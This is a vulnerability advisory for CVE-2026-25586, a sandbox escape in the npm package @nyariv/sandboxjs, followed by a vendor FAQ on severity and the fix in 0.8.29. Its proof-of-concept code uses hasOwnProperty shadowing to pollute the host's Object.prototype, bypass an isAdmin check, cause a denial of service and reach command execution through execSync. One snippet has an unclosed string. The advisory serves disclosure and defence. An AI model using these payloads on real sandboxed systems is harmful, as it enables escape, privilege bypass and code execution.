CVE-2026-25586

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

• src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');

• src/executor.ts:367-399 prototype whitelist enforcement only happens when prototypeAccess is true.

• src/executor.ts:220-233 mutation guard uses obj.context.hasOwnProperty(...), also bypassable via shadowing.

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js

Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}

RCE via host gadget (prototype pollution -> execSync)

const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1

CVE-2026-25586 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.29); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25586? CVE-2026-25586 is a critical-severity security vulnerability in @nyariv/sandboxjs (npm), affecting versions <= 0.8.28. It is fixed in 0.8.29.
2. How severe is CVE-2026-25586? CVE-2026-25586 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nyariv/sandboxjs are affected by CVE-2026-25586? @nyariv/sandboxjs (npm) versions <= 0.8.28 is affected.
4. Is there a fix for CVE-2026-25586? Yes. CVE-2026-25586 is fixed in 0.8.29. Upgrade to this version or later.
5. Is CVE-2026-25586 exploitable, and should I be worried? Whether CVE-2026-25586 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25586 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25586? Upgrade @nyariv/sandboxjs to 0.8.29 or later.